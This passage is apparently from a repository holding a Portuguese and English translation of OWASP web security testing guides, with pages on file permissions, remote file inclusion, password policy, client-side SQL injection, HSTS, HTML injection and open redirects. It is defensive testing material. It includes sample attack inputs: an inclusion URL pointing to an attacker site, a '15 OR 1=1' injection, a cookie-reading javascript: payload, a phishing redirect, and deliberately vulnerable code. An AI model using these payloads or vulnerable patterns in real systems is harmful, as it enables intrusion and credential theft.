Forgery](19-Testing_for_Server-Side_Request_Forgery.md) 60 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/02-Testes-de-Configuracao-e-Gerenciamento-de-Implementacao/09-Testar-Permissao-de-Arquivo.md: -------------------------------------------------------------------------------- 1 | # Testar Permissão de Arquivo 2 | 3 | |ID | 4 | |------------| 5 | |WSTG-CONF-09| 6 | 7 | ## Resumo 8 | 9 | Quando um recurso recebe uma configuração de permissões que proporciona acesso a um grupo mais amplo de atores do que o necessário, isso pode levar à exposição de informações sensíveis ou à modificação desse recurso por partes não intencionadas. Isso é especialmente perigoso quando o recurso está relacionado à configuração, execução ou dados sensíveis do usuário. 10 | 11 | Um exemplo claro é um arquivo de execução que é executável por usuários não autorizados. Outro exemplo é quando as informações da conta ou um valor de token para acessar uma API - cada vez mais visto em serviços web modernos ou microsserviços - são armazenados em um arquivo de configuração cujas permissões estão definidas como leitura global a partir da instalação por padrão. Tais dados sensíveis podem ser expostos por atores maliciosos internos ao host ou por um atacante remoto que comprometeu o serviço com outras vulnerabilidades, mas obteve apenas uma permissão de usuário comum. 12 | 13 | ## Objetivos do Teste 14 | 15 | - Revisar e identificar quaisquer permissões de arquivo incorretas. 16 | 17 | ## Como Testar 18 | 19 | No Linux, use o comando `ls` para verificar as permissões do arquivo. Alternativamente, `namei` também pode ser usado para listar recursivamente as permissões do arquivo. 20 | 21 | ```bash 22 | $ namei -l /CaminhoParaVerificar/ 23 | ``` 24 | 25 | Os arquivos e diretórios que exigem teste de permissão de arquivo incluem, mas não estão limitados a: 26 | 27 | - Arquivos/diretórios da web 28 | - Arquivos/diretórios de configuração 29 | - Arquivos/diretórios sensíveis (dados criptografados, senha, chave) 30 | - Arquivos/diretórios de logs (logs de segurança, logs de operações, logs de administração) 31 | - Executáveis (scripts, EXE, JAR, class, PHP, ASP) 32 | - Arquivos/diretórios de banco de dados 33 | - Arquivos/diretórios temporários 34 | - Arquivos/diretórios de upload 35 | 36 | ## Remediação 37 | 38 | Defina as permissões dos arquivos e diretórios adequadamente para que usuários não autorizados não possam acessar recursos críticos desnecessariamente. 39 | 40 | ## Ferramentas 41 | 42 | - [Windows AccessEnum](https://technet.microsoft.com/en-us/sysinternals/accessenum) 43 | - [Windows AccessChk](https://technet.microsoft.com/en-us/sysinternals/accesschk) 44 | - [Linux namei](https://linux.die.net/man/1/namei) 45 | 46 | ## Referências 47 | 48 | - [CWE-732: Atribuição de Permissão Incorreta para Recurso Crítico](https://cwe.mitre.org/data/definitions/732.html) -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/07-Testes-Validacao-de-Entrada-de-Dados/11.2-Testing_for_Remote_File_Inclusion.md: -------------------------------------------------------------------------------- 1 | # Testing for Remote File Inclusion 2 | 3 | ## Summary 4 | 5 | The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation. 6 | 7 | This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to: 8 | 9 | - Code execution on the web server 10 | - Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS) 11 | - Denial of Service (DoS) 12 | - Sensitive Information Disclosure 13 | 14 | Remote File Inclusion (also known as RFI) is the process of including remote files through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing external URL to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others. 15 | 16 | ## How to Test 17 | 18 | Since RFI occurs when paths passed to "include" statements are not properly sanitized, in a black-box testing approach, we should look for scripts which take filenames as parameters. Consider the following PHP example: 19 | 20 | ```php 21 | $incfile = $_REQUEST["file"]; 22 | include($incfile.".php"); 23 | ``` 24 | 25 | In this example the path is extracted from the HTTP request and no input validation is done (for example, by checking the input against an allow list), so this snippet of code results vulnerable to this type of attack. Consider the following URL: 26 | 27 | `http://vulnerable_host/vuln_page.php?file=http://attacker_site/malicous_page` 28 | 29 | In this case the remote file is going to be included and any code contained in it is going to be run by the server. 30 | 31 | ## Remediation 32 | 33 | The most effective solution to eliminate file inclusion vulnerabilities is to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain an allow list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path. 34 | 35 | ## References 36 | 37 | - ["Remote File Inclusion"](http://projects.webappsec.org/w/page/13246955/Remote%20File%20Inclusion) 38 | - [Wikipedia: "Remote File Inclusion"](https://en.wikipedia.org/wiki/Remote_File_Inclusion) 39 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/04-Testes-de-Autenticacao/05-Testando-Dicas-de-Recuperação-de-Senhas-Vulneráveis.md: -------------------------------------------------------------------------------- 1 | # Testando Dicas de Recuperação de Senhas Vulneráveis 2 | 3 | |ID | 4 | |------------| 5 | |WSTG-ATHN-05| 6 | 7 | ## Resumo 8 | 9 | Credenciais são a tecnologia de autenticação mais amplamente utilizada. Devido ao amplo uso de pares de nome de usuário e senha, os usuários não conseguem mais gerenciar adequadamente suas credenciais em várias aplicações usadas. 10 | 11 | Para ajudar os usuários com suas credenciais, surgiram várias tecnologias: 12 | 13 | - Aplicações fornecem uma funcionalidade de *lembrar-me* que permite que o usuário permaneça autenticado por longos períodos de tempo, sem pedir novamente as credenciais do usuário. 14 | - Gerenciadores de senhas - incluindo gerenciadores de senhas de navegadores - que permitem ao usuário armazenar suas credenciais de maneira segura e depois injetá-las em formulários de usuário sem qualquer intervenção do usuário. 15 | 16 | ## Objetivos do Teste 17 | 18 | - Validar que a sessão gerada é gerenciada de forma segura e não coloca as credenciais do usuário em perigo. 19 | 20 | ## Como Testar 21 | 22 | Como esses métodos proporcionam uma melhor experiência do usuário e permitem que o usuário esqueça completamente suas credenciais, eles aumentam a superfície de ataque. Algumas aplicações: 23 | 24 | - Armazenam as credenciais de maneira codificada nos mecanismos de armazenamento do navegador, o que pode ser verificado seguindo o [cenário de teste de armazenamento na web](../11-Client-side_Testing/12-Testing_Browser_Storage.md) e passando pelos cenários de [análise de sessão](../06-Session_Management_Testing/01-Testing_for_Session_Management_Schema.md#session-analysis). As credenciais não devem ser armazenadas de forma alguma no lado do cliente e devem ser substituídas por tokens gerados no lado do servidor. 25 | - Injetam automaticamente as credenciais do usuário que podem ser abusadas por: 26 | - Ataques de [ClickJacking](../11-Client-side_Testing/09-Testing_for_Clickjacking.md). 27 | - Ataques [CSRF](../06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery.md). 28 | - Tokens devem ser analisados em termos de tempo de vida do token, onde alguns tokens nunca expiram e colocam os usuários em perigo se esses tokens forem roubados. Certifique-se de seguir o cenário de teste [timeout da sessão](../06-Session_Management_Testing/07-Testing_Session_Timeout.md). 29 | 30 | ## Remediação 31 | 32 | - Siga as boas práticas de [gerenciamento de sessão](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html). 33 | - Garanta que nenhuma credencial seja armazenada em texto claro ou seja facilmente recuperável em formas codificadas ou criptografadas nos mecanismos de armazenamento do navegador; elas devem ser armazenadas no lado do servidor e seguir boas práticas de [armazenamento de senha](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html). -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/04-Testes-de-Autenticacao/07-Testando-de-Politica-de-Senha-Fraca.md: -------------------------------------------------------------------------------- 1 | # Testando Política de Senha Fraca 2 | 3 | |ID | 4 | |------------| 5 | |WSTG-ATHN-07| 6 | 7 | ## Resumo 8 | 9 | O mecanismo de autenticação mais prevalente e mais facilmente administrado é uma senha estática. A senha representa as chaves do reino, mas muitas vezes é subvertida pelos usuários em nome da usabilidade. Em cada um dos recentes hacks de alto perfil que revelaram credenciais de usuários, é lamentavel saber que as senhas mais comuns ainda sejam: `123456`, `password` e `qwerty`. 10 | 11 | ## Objetivos do Teste 12 | 13 | - Determinar a resistência da aplicação contra tentativas de adivinhação de senha por força bruta, usando dicionários de senhas disponíveis, avaliando os requisitos de comprimento, complexidade, reutilização e envelhecimento de senhas. 14 | 15 | ## Como Testar 16 | 17 | 1. Quais caracteres são permitidos e proibidos para uso em uma senha? É exigido que o usuário use caracteres de conjuntos de caracteres diferentes, como letras minúsculas e maiúsculas, dígitos e símbolos especiais? 18 | 2. Com que frequência um usuário pode alterar sua senha? Quão rapidamente um usuário pode alterar sua senha após uma alteração anterior? Os usuários podem ignorar os requisitos de histórico de senha alterando sua senha 5 vezes seguidas, para que, após a última alteração de senha, tenham configurado novamente sua senha inicial. 19 | 3. Quando um usuário deve alterar sua senha? 20 | - Tanto o [NIST](https://pages.nist.gov/800-63-3/sp800-63b.html#memsecretver) quanto o [NCSC](https://www.ncsc.gov.uk/collection/passwords/updating-your-approach#PasswordGuidance:UpdatingYourApproach-Don'tenforceregularpasswordexpiry) recomendam **não** forçar expiração regular de senha, embora isso possa ser exigido por padrões como o PCI DSS. 21 | 4. Com que frequência um usuário pode reutilizar uma senha? A aplicação mantém um histórico das 8 senhas anteriormente usadas pelo usuário? 22 | 5. Quão diferente deve ser a próxima senha em relação à última senha? 23 | 6. O usuário é impedido de usar seu nome de usuário ou outras informações da conta (como primeiro ou último nome) na senha? 24 | 7. Quais são os comprimentos mínimo e máximo de senha que podem ser definidos, e eles são apropriados para a sensibilidade da conta e da aplicação? 25 | 8. É possível definir senhas comuns, como `Password1` ou `123456`? 26 | 27 | ## Remediação 28 | 29 | Para mitigar o risco de senhas facilmente adivinháveis facilitando o acesso não autorizado, existem duas soluções: introduzir controles de autenticação adicionais (ou seja, autenticação de dois fatores) ou introduzir uma política de senha forte. A solução mais simples e mais barata é a introdução de uma política de senha forte que garanta comprimento, complexidade, reutilização e envelhecimento da senha; embora idealmente ambas devam ser implementadas. 30 | 31 | ## Referências 32 | 33 | - [Ataques de Força Bruta](https://owasp.org/www-community/attacks/Brute_force_attack) -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/07-Testes-Validacao-de-Entrada-de-Dados/05.8-Testing_for_Client-side.md: -------------------------------------------------------------------------------- 1 | # Testing for Client-side 2 | 3 | ## Summary 4 | 5 | Client-side SQL injection occurs when an application implements the [Web SQL Database](https://www.w3.org/TR/webdatabase/) technology and doesn't properly validate the input nor parametrize its query variables. This database is manipulated by using JavaScript (JS) API calls, such as `openDatabase()`, which creates or opens an existing database. 6 | 7 | ## Test Objectives 8 | 9 | The following test scenario will validate that proper input validation is conducted. If the implementation is vulnerable, the attacker can read, modify, or delete information stored within the database. 10 | 11 | ## How to Test 12 | 13 | ### Identify the Usage of Web SQL DB 14 | 15 | If the tested application implements the Web SQL DB, the following three calls will be used in the client-side core: 16 | 17 | - `openDatabase()` 18 | - `transaction()` 19 | - `executeSQL()` 20 | 21 | The code below shows an example of the APIs' implementation: 22 | 23 | ```javascript 24 | var db = openDatabase(shortName, version, displayName, maxSize); 25 | 26 | db.transaction(function(transaction) { 27 | transaction.executeSql('INSERT INTO LOGS (time, id, log) VALUES (?, ?, ?)', [dateTime, id, log]); 28 | }); 29 | ``` 30 | 31 | ### Web SQL DB Injection 32 | 33 | After confirming the usage of `executeSQL()`, the attacker is ready to test and validate the security of its implementation. 34 | 35 | The Web SQL DB's implementation is based on [SQLite's syntax](https://www.sqlite.org/lang.html). 36 | 37 | #### Bypassing Conditions 38 | 39 | The following example shows how this could be exploited on the client-side: 40 | 41 | ```javascript 42 | // URL example: https://example.com/user#15 43 | var userId = document.location.hash.substring(1,); // Grabs the ID without the hash -> 15 44 | 45 | db.transaction(function(transaction){ 46 | transaction.executeSQL('SELECT * FROM users WHERE user = ' + userId); 47 | }); 48 | ``` 49 | 50 | To return information for all the users, instead of only the user corresponding to the attacker, the following could be used: `15 OR 1=1` in the URL fragment. 51 | 52 | For additional SQL Injection payloads, go to the [Testing for SQL Injection](05-Testing_for_SQL_Injection.md) scenario. 53 | 54 | ## Remediation 55 | 56 | Follow the same remediation from the [Testing for SQL Injection's Remediation Section](05-Testing_for_SQL_Injection.md#remediation). 57 | 58 | ## References 59 | 60 | - [W3C Web SQL Database](https://www.w3.org/TR/webdatabase/) 61 | - [Apple's JavaScript Database Tutorial](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/SafariJSDatabaseGuide/UsingtheJavascriptDatabase/UsingtheJavascriptDatabase.html) 62 | - [Tutorialspoint HTML5 Web SQL Database](https://www.tutorialspoint.com/html5/html5_web_sql.htm) 63 | - [Portswigger's Client-Side SQL Injection](https://portswigger.net/web-security/dom-based/client-side-sql-injection) 64 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/03-Testes-Gerenciamento-de-Identidade/02-Testar-Processo-de-Registro-de-Usuario.md: -------------------------------------------------------------------------------- 1 | # Testar Processo de Registro de Usuario 2 | 3 | |ID | 4 | |------------| 5 | |WSTG-IDNT-02| 6 | 7 | ## Resumo 8 | 9 | Alguns sites oferecem um processo de registro de usuário que automatiza (ou semi-automatiza) o provisionamento de acesso ao sistema para os usuários. Os requisitos de identidade para acesso variam desde identificação positiva até nenhum, dependendo dos requisitos de segurança do sistema. Muitos aplicativos públicos automatizam completamente o processo de registro e provisionamento porque o tamanho da base de usuários torna impossível gerenciar manualmente. No entanto, muitos aplicativos corporativos provisionam usuários manualmente, então este caso de teste pode não ser aplicável. 10 | 11 | ## Objetivos do Teste 12 | 13 | - Verificar se os requisitos de identidade para o registro de usuários estão alinhados com os requisitos de negócios e segurança. 14 | - Validar o processo de registro. 15 | 16 | ## Como Testar 17 | 18 | Verifique se os requisitos de identidade para o registro de usuários estão alinhados com os requisitos de negócios e segurança: 19 | 20 | 1. Qualquer pessoa pode se registrar para obter acesso? 21 | 2. Os registros são revisados por um humano antes do provisionamento, ou são concedidos automaticamente se os critérios forem atendidos? 22 | 3. A mesma pessoa ou identidade pode se registrar várias vezes? 23 | 4. Os usuários podem se registrar para funções ou permissões diferentes? 24 | 5. Que comprovação de identidade é necessária para que um registro seja bem-sucedido? 25 | 6. As identidades registradas são verificadas? 26 | 27 | Valide o processo de registro: 28 | 29 | 1. As informações de identidade podem ser facilmente forjadas ou falsificadas? 30 | 2. A troca de informações de identidade pode ser manipulada durante o registro? 31 | 32 | ### Exemplo 33 | 34 | No exemplo do WordPress abaixo, o único requisito de identificação é um endereço de e-mail acessível ao registrante. 35 | 36 | ![Página de Registro do WordPress](images/Wordpress_registration_page.jpg)\ 37 | *Figura 4.3.2-1: Página de Registro do WordPress* 38 | 39 | Em contraste, no exemplo do Google abaixo, os requisitos de identificação incluem nome, data de nascimento, país, número de telefone celular, endereço de e-mail e resposta de CAPTCHA. Embora apenas dois destes possam ser verificados (endereço de e-mail e número de celular), os requisitos de identificação são mais rigorosos do que os do WordPress. 40 | 41 | ![Página de Registro do Google](images/Google_registration_page.jpg)\ 42 | *Figura 4.3.2-2: Página de Registro do Google* 43 | 44 | ## Remediação 45 | 46 | Implemente requisitos de identificação e verificação que correspondam aos requisitos de segurança das informações que as credenciais protegem. 47 | 48 | ## Ferramentas 49 | 50 | Um proxy HTTP pode ser uma ferramenta útil para testar esse controle. 51 | 52 | ## Referências 53 | 54 | [User Registration Design](https://mashable.com/2011/06/09/user-registration-design/) -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/02-Testes-de-Configuracao-e-Gerenciamento-de-Implementacao/07-Testar-Seguranca-de-Transporte-Estrito-HTTP.md: -------------------------------------------------------------------------------- 1 | # Testar Segurança de Transporte Estrito HTTP 2 | 3 | |ID | 4 | |------------| 5 | |WSTG-CONF-07| 6 | 7 | ## Resumo 8 | 9 | A funcionalidade HTTP Strict Transport Security (HSTS) permite que uma aplicação web informe ao navegador, por meio do uso de um cabeçalho de resposta especial, que nunca deve estabelecer uma conexão com os servidores de domínio especificados usando HTTP não criptografado. Em vez disso, ele deve automaticamente estabelecer todas as solicitações de conexão para acessar o site por meio do HTTPS. Além disso, ele impede que os usuários anulem erros de certificado. 10 | 11 | Considerando a importância dessa medida de segurança, é prudente verificar se o site está usando esse cabeçalho HTTP para garantir que todos os dados trafeguem criptografados entre o navegador da web e o servidor. 12 | 13 | O cabeçalho HTTP strict transport security usa dois diretivas: 14 | 15 | - `max-age`: para indicar o número de segundos que o navegador deve converter automaticamente todas as solicitações HTTP para HTTPS. 16 | - `includeSubDomains`: para indicar que todos os subdomínios relacionados devem usar HTTPS. 17 | - `preload` (não oficial): para indicar que o(s) domínio(s) está(ão) na lista de pré-carregamento(s) e que os navegadores nunca devem se conectar sem HTTPS. 18 | - Isso é suportado por todos os principais navegadores, mas não faz parte oficial da especificação. (Veja [hstspreload.org](https://hstspreload.org/) para mais informações.) 19 | 20 | Aqui está um exemplo de implementação do cabeçalho HSTS: 21 | 22 | `Strict-Transport-Security: max-age=31536000; includeSubDomains` 23 | 24 | O uso deste cabeçalho por aplicações web deve ser verificado para verificar se os seguintes problemas de segurança podem ser produzidos: 25 | 26 | - Atacantes que capturam o tráfego de rede e acessam as informações transferidas por meio de um canal não criptografado. 27 | - Atacantes explorando um ataque de manipulador no meio devido ao problema de aceitar certificados que não são confiáveis. 28 | - Usuários que inserem erroneamente um endereço no navegador colocando HTTP em vez de HTTPS, ou usuários que clicam em um link em uma aplicação web que erroneamente indicou o uso do protocolo HTTP. 29 | 30 | ## Objetivos do Teste 31 | 32 | - Revisar o cabeçalho HSTS e sua validade. 33 | 34 | ## Como Testar 35 | 36 | A presença do cabeçalho HSTS pode ser confirmada examinando a resposta do servidor por meio de um proxy de interceptação ou usando o curl da seguinte forma: 37 | 38 | ```bash 39 | $ curl -s -D- https://owasp.org | grep -i strict 40 | Strict-Transport-Security: max-age=31536000 41 | ``` 42 | 43 | ## Referências 44 | 45 | - [OWASP HTTP Strict Transport Security](https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Strict_Transport_Security_Cheat_Sheet.html) 46 | - [OWASP Appsec Tutorial Series - Episode 4: Strict Transport Security](https://www.youtube.com/watch?v=zEV3HOuM_Vw) 47 | - [Especificação HSTS](https://tools.ietf.org/html/rfc6797) -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/11-Testes-a-Nivel-do-Cliente/03-Testing_for_HTML_Injection.md: -------------------------------------------------------------------------------- 1 | # Testing for HTML Injection 2 | 3 | |ID | 4 | |------------| 5 | |WSTG-CLNT-03| 6 | 7 | ## Summary 8 | 9 | HTML injection is a type of injection vulnerability that occurs when a user is able to control an input point and is able to inject arbitrary HTML code into a vulnerable web page. This vulnerability can have many consequences, like disclosure of a user's session cookies that could be used to impersonate the victim, or, more generally, it can allow the attacker to modify the page content seen by the victims. 10 | 11 | This vulnerability occurs when user input is not correctly sanitized and the output is not encoded. An injection allows the attacker to send a malicious HTML page to a victim. The targeted browser will not be able to distinguish (trust) legitimate parts from malicious parts of the page, and consequently will parse and execute the whole page in the victim's context. 12 | 13 | There is a wide range of methods and attributes that could be used to render HTML content. If these methods are provided with an untrusted input, then there is an high risk of HTML injection vulnerability. For example, malicious HTML code can be injected via the `innerHTML` JavaScript method, usually used to render user-inserted HTML code. If strings are not correctly sanitized, the method can enable HTML injection. A JavaScript function that can be used for this purpose is `document.write()`. 14 | 15 | The following example shows a snippet of vulnerable code that allows an unvalidated input to be used to create dynamic HTML in the page context: 16 | 17 | ```js 18 | var userposition=location.href.indexOf("user="); 19 | var user=location.href.substring(userposition+5); 20 | document.getElementById("Welcome").innerHTML=" Hello, "+user; 21 | ``` 22 | 23 | The following example shows vulnerable code using the `document.write()` function: 24 | 25 | ```js 26 | var userposition=location.href.indexOf("user="); 27 | var user=location.href.substring(userposition+5); 28 | document.write("

Hello, " + user +"

"); 29 | ``` 30 | 31 | In both examples, this vulnerability can be exploited with an input such as: 32 | 33 | ```text 34 | http://vulnerable.site/page.html?user= 35 | ``` 36 | 37 | This input will add an image tag to the page that will execute arbitrary JavaScript code inserted by the malicious user in the HTML context. 38 | 39 | ## Test Objectives 40 | 41 | - Identify HTML injection points and assess the severity of the injected content. 42 | 43 | ## How to Test 44 | 45 | Consider the following DOM XSS exercise 46 | 47 | The HTML code contains the following script: 48 | 49 | ```html 50 | 51 | 59 | 60 | 61 | Show Here
Showing Message1
62 | Show Here
Showing Message2
63 | Show Here
Showing Message3
64 | 65 | ``` 66 | 67 | It is possible to inject HTML code. 68 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/11-Testes-a-Nivel-do-Cliente/04-Testing_for_Client-side_URL_Redirect.md: -------------------------------------------------------------------------------- 1 | # Testing for Client-side URL Redirect 2 | 3 | |ID | 4 | |------------| 5 | |WSTG-CLNT-04| 6 | 7 | ## Summary 8 | 9 | This section describes how to check for client-side URL redirection, also known as open redirection. It is an input validation flaw that exists when an application accepts user-controlled input that specifies a link which leads to an external URL that could be malicious. This kind of vulnerability could be used to accomplish a phishing attack or redirect a victim to an infection page. 10 | 11 | This vulnerability occurs when an application accepts untrusted input that contains a URL value and does not sanitize it. This URL value could cause the web application to redirect the user to another page, such as a malicious page controlled by the attacker. 12 | 13 | This vulnerability may enable an attacker to successfully launch a phishing scam and steal user credentials. Since the redirection is originated by the real application, the phishing attempts may have a more trustworthy appearance. 14 | 15 | Here is an example of a phishing attack URL. 16 | 17 | ```text 18 | http://www.target.site?#redirect=www.fake-target.site 19 | ``` 20 | 21 | The victim that visits this URL will be automatically redirected to `fake-target.site`, where an attacker could place a fake page that resembles the intended site, in order to steal the victim's credentials. 22 | 23 | Open redirection could also be used to craft a URL that would bypass the application’s access control checks and forward the attacker to privileged functions that they would normally not be able to access. 24 | 25 | ## Test Objectives 26 | 27 | - Identify injection points that handle URLs or paths. 28 | - Assess the locations that the system could redirect to. 29 | 30 | ## How to Test 31 | 32 | When testers manually check for this type of vulnerability, they first identify if there are client-side redirections implemented in the client-side code. These redirections may be implemented, to give a JavaScript example, using the `window.location` object. This can be used to direct the browser to another page by simply assigning a string to it. This is demonstrated in the following snippet: 33 | 34 | ```js 35 | var redir = location.hash.substring(1); 36 | if (redir) { 37 | window.location='http://'+decodeURIComponent(redir); 38 | } 39 | ``` 40 | 41 | In this example, the script does not perform any validation of the variable `redir` which contains the user-supplied input via the query string. Since no form of encoding is applied, this unvalidated input is passed to the `windows.location` object, creating a URL redirection vulnerability. 42 | 43 | This implies that an attacker could redirect the victim to a malicious site simply by submitting the following query string: 44 | 45 | ```text 46 | http://www.victim.site/?#www.malicious.site 47 | ``` 48 | 49 | With a slight modification, the above example snippet can be vulnerable to JavaScript injection. 50 | 51 | ```js 52 | var redir = location.hash.substring(1); 53 | if (redir) { 54 | window.location=decodeURIComponent(redir); 55 | } 56 | ``` 57 | 58 | This can be exploited by submitting the following query string: 59 | 60 | ```text 61 | http://www.victim.site/?#javascript:alert(document.cookie) 62 | ``` 63 | 64 | When testing for this vulnerability, consider that some characters are treated differently by different browsers. For reference, see [DOM-based XSS](https://owasp.org/www-community/attacks/DOM_Based_XSS). 65 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/10-Testes-de-Logica-de-Negocios/05-Test_Number_of_Times_a_Function_Can_Be_Used_Limits.md: -------------------------------------------------------------------------------- 1 | # Test Number of Times a Function Can Be Used Limits 2 | 3 | |ID | 4 | |------------| 5 | |WSTG-BUSL-05| 6 | 7 | ## Summary 8 | 9 | Many of the problems that applications are solving require limits to the number of times a function can be used or action can be executed. Applications must be "smart enough" to not allow the user to exceed their limit on the use of these functions since in many cases each time the function is used the user may gain some type of benefit that must be accounted for to properly compensate the owner. For example: an eCommerce site may only allow a users apply a discount once per transaction, or some applications may be on a subscription plan and only allow users to download three complete documents monthly. 10 | 11 | Vulnerabilities related to testing for the function limits are application specific and misuse cases must be created that strive to exercise parts of the application/functions/ or actions more than the allowable number of times. 12 | 13 | Attackers may be able to circumvent the business logic and execute a function more times than "allowable" exploiting the application for personal gain. 14 | 15 | ### Example 16 | 17 | Suppose an eCommerce site allows users to take advantage of any one of many discounts on their total purchase and then proceed to checkout and tendering. What happens of the attacker navigates back to the discounts page after taking and applying the one "allowable" discount? Can they take advantage of another discount? Can they take advantage of the same discount multiple times? 18 | 19 | ## Test Objectives 20 | 21 | - Identify functions that must set limits to the times they can be called. 22 | - Assess if there is a logical limit set on the functions and if it is properly validated. 23 | 24 | ## How to Test 25 | 26 | - Review the project documentation and use exploratory testing looking for functions or features in the application or system that should not be executed more that a single time or specified number of times during the business logic workflow. 27 | - For each of the functions and features found that should only be executed a single time or specified number of times during the business logic workflow, develop abuse/misuse cases that may allow a user to execute more than the allowable number of times. For example, can a user navigate back and forth through the pages multiple times executing a function that should only execute once? or can a user load and unload shopping carts allowing for additional discounts. 28 | 29 | ## Related Test Cases 30 | 31 | - [Testing for Account Enumeration and Guessable User Account](../03-Identity_Management_Testing/04-Testing_for_Account_Enumeration_and_Guessable_User_Account.md) 32 | - [Testing for Weak lock out mechanism](../04-Authentication_Testing/03-Testing_for_Weak_Lock_Out_Mechanism.md) 33 | 34 | ## Remediation 35 | 36 | The application should set hard controls to prevent limit abuse. This can be achieved by setting a coupon to be no longer valid on the database level, to set a counter limit per user on the back end or database level, as all users should be identified through a session, whichever is better to the business requirement. 37 | 38 | ## References 39 | 40 | - [InfoPath Forms Services business logic exceeded the maximum limit of operations Rule](http://mpwiki.viacode.com/default.aspx?g=posts&t=115678) 41 | - [Gold Trading Was Temporarily Halted On The CME This Morning](https://www.businessinsider.com/gold-halted-on-cme-for-stop-logic-event-2013-10) 42 | -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/03-Testes-Gerenciamento-de-Identidade/01-Testar-Definicoes-de-Funcoes.md: -------------------------------------------------------------------------------- 1 | # Testar Definições de Funções 2 | 3 | |ID | 4 | |------------| 5 | |WSTG-IDNT-01| 6 | 7 | ## Resumo 8 | 9 | Aplicações têm vários tipos de funcionalidades e serviços, e esses requerem permissões de acesso com base nas necessidades do usuário. Esse usuário pode ser: 10 | 11 | - um administrador, onde gerenciam as funcionalidades da aplicação. 12 | - um auditor, onde revisam as transações da aplicação e fornecem um relatório detalhado. 13 | - um engenheiro de suporte, onde ajudam os clientes a depurar e corrigir problemas em suas contas. 14 | - um cliente, onde interagem com a aplicação e se beneficiam de seus serviços. 15 | 16 | Para lidar com esses casos de uso e qualquer outro caso de uso para essa aplicação, são configuradas definições de funções (mais comumente conhecidas como [RBAC](https://en.wikipedia.org/wiki/Role-based_access_control)). Com base nessas funções, o usuário é capaz de realizar a tarefa necessária. 17 | 18 | ## Objetivos do Teste 19 | 20 | - Identificar e documentar as funções usadas pela aplicação. 21 | - Tentar trocar, alterar ou acessar outra função. 22 | - Rever a granularidade das funções e as necessidades por trás das permissões concedidas. 23 | 24 | ## Como Testar 25 | 26 | ### Identificação de Funções 27 | 28 | O testador deve começar identificando as funções da aplicação a serem testadas por meio de qualquer um dos seguintes métodos: 29 | 30 | - Documentação da aplicação. 31 | - Orientação dos desenvolvedores ou administradores da aplicação. 32 | - Comentários da aplicação. 33 | - Testar funções possíveis: 34 | - variável de cookie (*por exemplo, `role=admin`, `isAdmin=True`) 35 | - variável de conta (*por exemplo, `Role: manager`) 36 | - diretórios ou arquivos ocultos (*por exemplo, `/admin`, `/mod`, `/backups`) 37 | - trocar para usuários conhecidos (*por exemplo, `admin`, `backups`, etc.) 38 | 39 | ### Trocar para Funções Disponíveis 40 | 41 | Após identificar possíveis vetores de ataque, o testador precisa testar e validar que pode acessar as funções disponíveis. 42 | 43 | > Algumas aplicações definem as funções do usuário na criação, por meio de verificações e políticas rigorosas ou garantindo que a função do usuário seja devidamente protegida por uma assinatura criada no backend. Descobrir que as funções existem não significa que são uma vulnerabilidade. 44 | 45 | ### Revisar Permissões das Funções 46 | 47 | Após obter acesso às funções no sistema, o testador deve entender as permissões fornecidas a cada função. 48 | 49 | Um engenheiro de suporte não deve ser capaz de realizar funcionalidades administrativas, gerenciar backups ou realizar transações no lugar de um usuário. 50 | 51 | Um administrador não deve ter poderes totais no sistema. Funcionalidades administrativas sensíveis devem utilizar um princípio de fabricante-verificador ou usar MFA para garantir que o administrador está realizando a transação. Um exemplo claro disso foi o [incidente no Twitter em 2020](https://blog.twitter.com/en_us/topics/company/2020/an-update-on-our-security-incident.html). 52 | 53 | ## Ferramentas 54 | 55 | Os testes mencionados acima podem ser conduzidos sem o uso de qualquer ferramenta, exceto aquela usada para acessar o sistema. 56 | 57 | Para facilitar as coisas e documentar mais, pode-se usar: 58 | 59 | - [Extensão Autorize do Burp](https://github.com/Quitten/Autorize) 60 | - [Complemento de Teste de Controle de Acesso do ZAP](https://www.zaproxy.org/docs/desktop/addons/access-control-testing/) 61 | 62 | ## Referências 63 | 64 | - [Engenharia de Funções para Gerenciamento de Segurança Empresarial, E Coyne & J Davis, 2007](https://www.bookdepository.co.uk/Role-Engineering-for-Enterprise-Security-Management-Edward-Coyne/9781596932180) 65 | - [Engenharia de funções e padrões RBAC](https://csrc.nist.gov/projects/role-based-access-control#rbac-standard) -------------------------------------------------------------------------------- /4-Testes-Seguranca-Web-Apps/06-Testes-Gerenciamento-de-Sessao/08-Testando-a-Sobrecarga-de-Variáveis-da-Sessão.md: -------------------------------------------------------------------------------- 1 | # Testando a Sobrecarga de Variáveis da Sessão 2 | 3 | |ID | 4 | |------------| 5 | |WSTG-SESS-08| 6 | 7 | ## Resumo 8 | 9 | A Sobrecarga de Variáveis de Sessão (também conhecida como Session Puzzling) é uma vulnerabilidade de nível de aplicativo que pode permitir que um atacante execute várias ações maliciosas, incluindo, mas não se limitando a: 10 | 11 | - Burlar mecanismos eficientes de autenticação e se passar por usuários legítimos. 12 | - 